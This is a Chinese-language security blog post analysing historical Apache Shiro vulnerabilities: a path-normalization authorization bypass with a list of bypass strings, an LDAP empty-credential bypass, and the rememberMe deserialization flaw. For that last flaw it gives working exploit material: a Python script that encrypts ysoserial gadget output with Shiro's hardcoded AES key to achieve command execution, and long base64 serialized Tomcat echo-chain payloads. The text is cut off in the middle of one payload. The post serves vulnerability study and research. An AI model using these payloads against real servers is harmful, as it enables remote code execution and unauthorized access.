shiro历史漏洞学习
2022-09-26 11:21:23 # Java安全

前言

最近整理了一些权限绕过的payload,所以就过一下shiro的历史漏洞。

CVE-2010-3863

漏洞信息

漏洞信息 详情
漏洞编号 CVE-2010-3863 / CNVD-2010-2715
影响版本 shiro < 1.1.0 & JSecurity 0.9.x
漏洞描述 Shiro 在对请求路径与 shiro.ini 配置文件配置的 AntPath 进行对比前 未进行路径标准化,导致使用时可能绕过权限校验
漏洞关键字 /./ | 路径标准化
漏洞补丁 Commit-ab82949
相关链接 https://vulners.com/nessus/SHIRO_SLASHDOT_BYPASS.NASL https://marc.info/?l=bugtraq&m=128880520013694&w=2

漏洞复现

环境的搭建采用的这个作者的

https://blog.csdn.net/Xxy605/article/details/125404334

搭建好后,直接访问secret.html是需要权限校验的,权限不通过就会跳转到登录

image-20220926115157770

在路径中添加特殊字符即可绕过权限校验

image-20220926115335873

当然不止这个字符,这里直接用上我的权限绕过字典

image-20220926120513350

跑出的结果整理出来大致有如下payload可以绕过(当然可能还要其他的)

1
2
3
4
5
6
7
;
.
a.ico/../
%2e
%3b/%2e.
%3b/..
js/..;/

漏洞分析

Shiro 使用 PathMatchingFilterChainResolver#getChain 方法获取和调用要执行的过滤器

image-20220926142145921

然后进入else语句通过PathMatchingFilterChainResolver#getPathWithinApplication获取requestURI,跟进

image-20220926143206319

继续跟进,如下调用WebUtils#getRequestUri处理request获取requestUri,然后使用字符串截取的方式,去掉URI中的contextPath,跟进getRequestUri这个函数

image-20220926143413096

将获取的uri传递到WebUtils#decodeAndCleanUriString

image-20220926143602338

整个方法就是去除URI中的“;”

image-20220926144625832

decodeRequestString做了url解码操作

image-20220926143810483

返回URI路径之后,然后循环配置中的AntPath,判断URI和配置路径是否匹配

image-20220926143915441

然后将处理之后的URI传入AntPathMatcher#doMatch进行匹配,在上面的处理期间未做路径标准化处理,导致URI中如果存在一些特殊字符,就有可能导致权限绕过。

漏洞修复

查看补丁链接 Commit-ab82949,在补丁中新增了normalize方法来对路径进行标准化处理

image-20220926145256733

normalize方法大致如下,可以看到对URI中的 \\///.//../进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
private static String normalize(String path, boolean replaceBackSlash) {

if (path == null)
return null;

// Create a place for the normalized path
String normalized = path;

if (replaceBackSlash && normalized.indexOf('\\') >= 0)
normalized = normalized.replace('\\', '/');

if (normalized.equals("/."))
return "/";

// Add a leading "/" if necessary
if (!normalized.startsWith("/"))
normalized = "/" + normalized;

// Resolve occurrences of "//" in the normalized path
while (true) {
int index = normalized.indexOf("//");
if (index < 0)
break;
normalized = normalized.substring(0, index) +
normalized.substring(index + 1);
}

// Resolve occurrences of "/./" in the normalized path
while (true) {
int index = normalized.indexOf("/./");
if (index < 0)
break;
normalized = normalized.substring(0, index) +
normalized.substring(index + 2);
}

// Resolve occurrences of "/../" in the normalized path
while (true) {
int index = normalized.indexOf("/../");
if (index < 0)
break;
if (index == 0)
return (null); // Trying to go outside our context
int index2 = normalized.lastIndexOf('/', index - 1);
normalized = normalized.substring(0, index2) +
normalized.substring(index + 3);
}

// Return the normalized path that we have completed
return (normalized);

}

CVE-2014-0074

漏洞信息

漏洞信息 详情
漏洞编号 CVE-2014-0074 / CNVD-2014-03861 / SHIRO-460
影响版本 shiro 1.x < 1.2.3
漏洞描述 当程序使用LDAP服务器并启用非身份验证绑定时,远程攻击者可借助空的用户名或密码利用该漏洞绕过身份验证。
漏洞关键字 ldap | 绕过 | 空密码 | 空用户名 | 匿名
漏洞补丁 Commit-f988846
相关链接 https://stackoverflow.com/questions/21391572/shiro-authenticates...in-ldap https://www.openldap.org/doc/admin24/security.html

漏洞复现

暂无相关环境。

漏洞分析

根据官方通告是 ldap 服务器在开启了 unauthenticated bind 之后会受到影响;利用的场景有两种:

  • ldap unauthenticated bind enabled 的情况下,可以使用空用户名+任意密码进行认证。
  • ldap allow anonymous 的情况下,可以空用户名+空密码的匿名访问进行认证。

漏洞修复

查看补丁链接 f988846,补丁中添加了validateAuthenticationInfo方法来针对这个漏洞进行修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 /**
* Validates the configuration in the JNDI <code>environment</code> settings and throws an exception if a problem
* exists.
* <p/>
* This implementation will throw a {@link AuthenticationException} if the authentication mechanism is set to
* 'simple', the principal is non-empty, and the credentials are empty (as per
* <a href="http://tools.ietf.org/html/rfc4513#section-5.1.2">rfc4513 section-5.1.2</a>).
*
* @param environment the JNDI environment settings to be validated
* @throws AuthenticationException if a configuration problem is detected
*/
private void validateAuthenticationInfo(Hashtable<String, Object> environment)
throws AuthenticationException
{
// validate when using Simple auth both principal and credentials are set
if(SIMPLE_AUTHENTICATION_MECHANISM_NAME.equals(environment.get(Context.SECURITY_AUTHENTICATION))) {

// only validate credentials if we have a non-empty principal
if( environment.get(Context.SECURITY_PRINCIPAL) != null &&
StringUtils.hasText( String.valueOf( environment.get(Context.SECURITY_PRINCIPAL) ))) {

Object credentials = environment.get(Context.SECURITY_CREDENTIALS);

// from the FAQ, we need to check for empty credentials:
// http://docs.oracle.com/javase/tutorial/jndi/ldap/faq.html
if( credentials == null ||
(credentials instanceof byte[] && ((byte[])credentials).length <= 0) || // empty byte[]
(credentials instanceof char[] && ((char[])credentials).length <= 0) || // empty char[]
(String.class.isInstance(credentials) && !StringUtils.hasText(String.valueOf(credentials)))) {

throw new javax.naming.AuthenticationException("LDAP Simple authentication requires both a "
+ "principal and credentials.");
}
}
}
}

}

CVE-2016-4437

漏洞信息

漏洞信息 详情
漏洞编号 CVE-2016-4437 / CNVD-2016-03869 / SHIRO-550
影响版本 shiro 1.x < 1.2.5
漏洞描述 如果程序未能正确配置 “remember me” 功能使用的密钥。 攻击者可通过发送带有特制参数的请求利用该漏洞执行任意代码或访问受限制内容。
漏洞关键字 cookie | RememberMe | 反序列化 | 硬编码 | AES
漏洞补丁 Commit-4d5bb00
相关链接 SHIRO-441 https://www.anquanke.com/post/id/192619

漏洞复现

环境是在CVE-2010-3863基础上修改的,搭建好后,访问登录页面

image-20220926170814849

随便输入用户名密码抓取数据包,在响应包中看到remeberMe=deleteMe即可判断出存在shiro框架

image-20220926170938700

使用工具进行漏洞探测和漏洞利用,工具地址:https://github.com/SummerSec/ShiroAttack2

image-20220926171048126

可以看到存在CB链,但其实本项目在搭建的时候并没有引入其他的依赖,这里就是shiro自带的一条CB链了,后面再分析。

image-20220926171409484

漏洞分析

shiro提供了RememberMe的功能,在应用中提供了记住用户登陆状态的功能。在分析漏洞之前需要了解几个关键的类。

RememberMeManager

接口 org.apache.shiro.mgt.RememberMeManager提供了 5 个方法:

image-20220926171920930

AbstractRememberMeManager

实现了 RememberMeManager 接口的抽象类 AbstractRememberMeManager,其中有几个重要的成员变量:

image-20220926172645839

  • DEFAULT_CIPHER_KEY_BYTES:一个 Base64 硬编码的 AES Key,也是本次漏洞的关键点,在进行AES加解密时都需要该key。
  • serializer:Shiro 提供的序列化器,用来对PrincipalCollection 对象进行序列化和反序列化 。
  • cipherService:用来对数据加解密的类,实际上是 org.apache.shiro.crypto.AesCipherService 类,加解密使用的key即为 DEFAULT_CIPHER_KEY_BYTES。

看下该类的构造方法

image-20220926173040672

构造方法对serializer采用DefaultSerializer进行初始化,并设置DEFAULT_CIPHER_KEY_BYTES 作为 AES 加解密的 key。

CookieRememberMeManager

Shiro 还提供了一个实现了 RememberMeManager 接口的实现类 CookieRememberMeManager,该类的位置在shiro-web-1.2.4.jar!\org\apache\shiro\web\mgt\CookieRememberMeManager.class中,主要的作用是实现了使用cookie记录用户信息的相关功能,其中有一个方法getRememberedSerializedIdentity主要的作用就是获取cookie值,并将其进行Base64 解码返回 byte 数组。

image-20220926174539346

在该函数上打上断点,可以看到调用栈如下,在Filter处理流程中,会调用 AbstractShiroFilter#doFilterInternal 方法,然后使用SecurityManager去创建Subject对象

1
2
3
4
5
6
7
8
9
getRememberedSerializedIdentity:187, CookieRememberMeManager (org.apache.shiro.web.mgt)
getRememberedPrincipals:393, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt)
buildSubject:846, Subject$Builder (org.apache.shiro.subject)
buildWebSubject:148, WebSubject$Builder (org.apache.shiro.web.subject)
createSubject:292, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:359, AbstractShiroFilter (org.apache.shiro.web.servlet)

然后通过DefaultSecurityManager#resolvePrincipals 方法来将subjectContext转换为PrincipalCollection,在org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals中可以看到这里调用了两个方法,一个getRememberedSerializedIdentity就是之前下断点的地方,该方法的作用就是获取Cookie并base64解码,然后返回一个byte数组,并将byte数组传递到第二个方法convertBytesToPrincipals

image-20220927095004375

看一下convertBytesToPrincipals方法的具体实现,这个方法中调用了两个方法,一个decrype,一个deserialize

image-20220927101555033

decrype方法中可以看到将会使用decryptionCipherKey进行解密

image-20220927101727302

在构造方法中调用setCipherKeyDEFAULT_CIPHER_KEY_BYTESencryptionCipherKeydecryptionCipherKey进行赋值

image-20220927102241391

解密完之后回到第二个方法deserialize,跟进通过getSerializer方法获取序列化器,序列化器的默认实现是 DefaultSerializer,也就是这里会调用DefaultSerializer#deserialize方法去对byte数组进行处理

image-20220927103105922

DefaultSerializer#deserialize方法中,会调用ByteArrayInputStream 将 byte 转为 ObjectInputStream,然后通过Java原生的反序列化对其进行反序列化

image-20220927103646343

反序列化结束后返回PrincipalCollection对象,并将其 set 到 SubjectContext

image-20220927103936545

根据上面反序列化的流程,攻击者就可以构造恶意的反序列化数据,然后使用硬编码的AES密钥进行加密,最后Base64编码放在cookie中发包即可。

编写poc测试脚本

首先是key检测的代码,这个检测的方法相较于其他方式较好,生成的rememberMe很短

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.apache.shiro.util.ByteSource;
import org.junit.jupiter.api.Test;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class shiroKey_check {
@Test
public void test01() throws IOException{
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(simplePrincipalCollection);
System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
oos.close();
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.println(ciphertext.toString());
}
}

检测的原理是:将SimplePrincipalCollection对象进行序列化并AES加密+Base64编码构造cookie发包,可以在AbstractRememberMeManager#getRememberedPrincipals中看到,这个方法有个try catch语句,try代码块就是上面说的对cookie进行解密然后反序列化,而catch则是在反序列化时如果出现异常则会执行AbstractRememberMeManager#onRememberedPrincipalFailure方法

image-20220927153324403

一直跟下来就会到SimpleCookie#removeFrom方法,该方法就是在请求头中添加deleteMe的值

image-20220927153953878

那么这里就有一个方法能够来验证密钥是否为正确,在getRememberedPrincipals这个方法中,如果在密钥正确并且反序列化成功且返回的是PrincipalCollection对象的话,那么就不会触发异常,也就是不会带上deleteMe的包,所以需要找一个PrincipalCollection类来进行序列化发送

因此可以寻找一个PrincipalCollection的实现类来进行构造,如下SimplePrincipalCollection就很适合

image-20220927154546603

在密钥不正确的情况下返回包如下

image-20220927154740204

在密钥正确的情况下返回:

image-20220927154857518

具体细节可以参考:

https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247485052&idx=1&sn=b007a722e233b45982b7a57c3788d47d&scene=21#wechat_redirect

在探测出密钥之后,我们需要配合ysoserial工具进行漏洞利用,编写exp.py如下,将ysoserial工具放在exp.py同目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(gadget, command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', gadget, command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1], sys.argv[2])
print("rememberMe={0}".format(payload.decode()))

利用脚本生成payload

image-20220927140309429

在burp中发包

image-20220927140453336

当然,也可以生成tomcat回显利用链,将命令执行的结果直接返回

组合xray的6条tomcat回显链

CommonsCollectionsK1/CommonsCollectionsK2/CommonsBeanutils1/CommonsBeanutils2/Jdk7u21/Jdk8u20

下面为六条tomcat回显链的payload,需要再进行AES+Base64加密

1
2
3
4
5
6
7
tomcatEchoPayload={"CommonsCollectionsK1":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMACEkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAC19hdXhDbGFzc2VzdAA7TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0hhc2h0YWJsZTtbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAH/////AXB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAPA8r+ur4AAAAyAOkBAAxGb29XRWN0SGptdmEHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEUZvb1dFY3RIam12YS5qYXZhAQAJd3JpdGVCb2R5AQAXKExqYXZhL2xhbmcvT2JqZWN0O1tCKVYBACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1bmsIAAkBAA9qYXZhL2xhbmcvQ2xhc3MHAAsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwADQAOCgAMAA8BAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAARABIKAAwAEwEACHNldEJ5dGVzCAAVAQACW0IHABcBABFqYXZhL2xhbmcvSW50ZWdlcgcAGQEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAGwAcCQAaAB0BABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB8AIAoADAAhAQAGPGluaXQ+AQAEKEkpVgwAIwAkCgAaACUBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACcBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACkAKgoAKAArAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAtAC4KAAQALwEAB2RvV3JpdGUIADEBAAlnZXRNZXRob2QMADMAIAoADAA0AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcANgEAE2phdmEubmlvLkJ5dGVCdWZmZXIIADgBAAR3cmFwCAA6AQAEQ29kZQEACkV4Y2VwdGlvbnMBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwA+AQANU3RhY2tNYXBUYWJsZQEABWdldEZWAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABDAEQKAAwARQEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcARwEADWdldFN1cGVyY2xhc3MMAEkALgoADABKAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAjAEwKAEgATQEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QHAE8BAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAUQBSCgBQAFMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcAVQEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABXAFgKAFYAWQEAEGphdmEvbGFuZy9TdHJpbmcHAFsBAAMoKVYMACMAXQoABABeAQAQamF2YS9sYW5nL1RocmVhZAcAYAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAYgBjCgBhAGQBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsMAGYAZwoAYQBoAQAHdGhyZWFkcwgAagwAQQBCCgACAGwBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBuAQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DABwAHEKAGEAcgEABGV4ZWMIAHQBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAdgB3CgBcAHgBAARodHRwCAB6AQAGdGFyZ2V0CAB8AQASamF2YS9sYW5nL1J1bm5hYmxlBwB+AQAGdGhpcyQwCACAAQAHaGFuZGxlcggAggEABmdsb2JhbAgAhAEACnByb2Nlc3NvcnMIAIYBAA5qYXZhL3V0aWwvTGlzdAcAiAEABHNpemUBAAMoKUkMAIoAiwsAiQCMAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABXAI4LAIkAjwEAA3JlcQgAkQEAC2dldFJlc3BvbnNlCACTAQAJZ2V0SGVhZGVyCACVAQAIVGVzdGVjaG8IAJcBAAdpc0VtcHR5AQADKClaDACZAJoKAFwAmwEACXNldFN0YXR1cwgAnQEACWFkZEhlYWRlcggAnwEAB1Rlc3RjbWQIAKEBAAdvcy5uYW1lCACjAQAQamF2YS9sYW5nL1N5c3RlbQcApQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAKcAqAoApgCpAQALdG9Mb3dlckNhc2UMAKsAcQoAXACsAQAGd2luZG93CACuAQAHY21kLmV4ZQgAsAEAAi9jCACyAQAHL2Jpbi9zaAgAtAEAAi1jCAC2AQARamF2YS91dGlsL1NjYW5uZXIHALgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHALoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAjALwKALsAvQEABXN0YXJ0AQAVKClM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dGlsLkhhc2h0YWJsZRO7DyUhSuS4AwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAh3CAAAAAsAAAAAeHB3AQB4c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4AClsAC2lQYXJhbVR5cGVzcQB+AAl4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAB0AA5uZXdUcmFuc2Zvcm1lcnVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHNxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAHh4dAABdHg=",
"CommonsCollectionsK2":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAhJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhaABVfdXNlU2VydmljZXNNZWNoYW5pc21MAAtfYXV4Q2xhc3Nlc3QAO0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9IYXNodGFibGU7WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAB/////wFwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAADwPK/rq+AAAAMgDpAQAMRm9vZ2RMUVpRbjZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABFGb29nZExRWlFuNmUuamF2YQEACXdyaXRlQm9keQEAFyhMamF2YS9sYW5nL09iamVjdDtbQilWAQAkb3JnLmFwYWNoZS50b21jYXQudXRpbC5idWYuQnl0ZUNodW5rCAAJAQAPamF2YS9sYW5nL0NsYXNzBwALAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAA0ADgoADAAPAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAEQASCgAMABMBAAhzZXRCeXRlcwgAFQEAAltCBwAXAQARamF2YS9sYW5nL0ludGVnZXIHABkBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMABsAHAkAGgAdAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAAfACAKAAwAIQEABjxpbml0PgEABChJKVYMACMAJAoAGgAlAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAnAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAApACoKACgAKwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwALQAuCgAEAC8BAAdkb1dyaXRlCAAxAQAJZ2V0TWV0aG9kDAAzACAKAAwANAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HADYBABNqYXZhLm5pby5CeXRlQnVmZmVyCAA4AQAEd3JhcAgAOgEABENvZGUBAApFeGNlcHRpb25zAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAPgEADVN0YWNrTWFwVGFibGUBAAVnZXRGVgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0Zp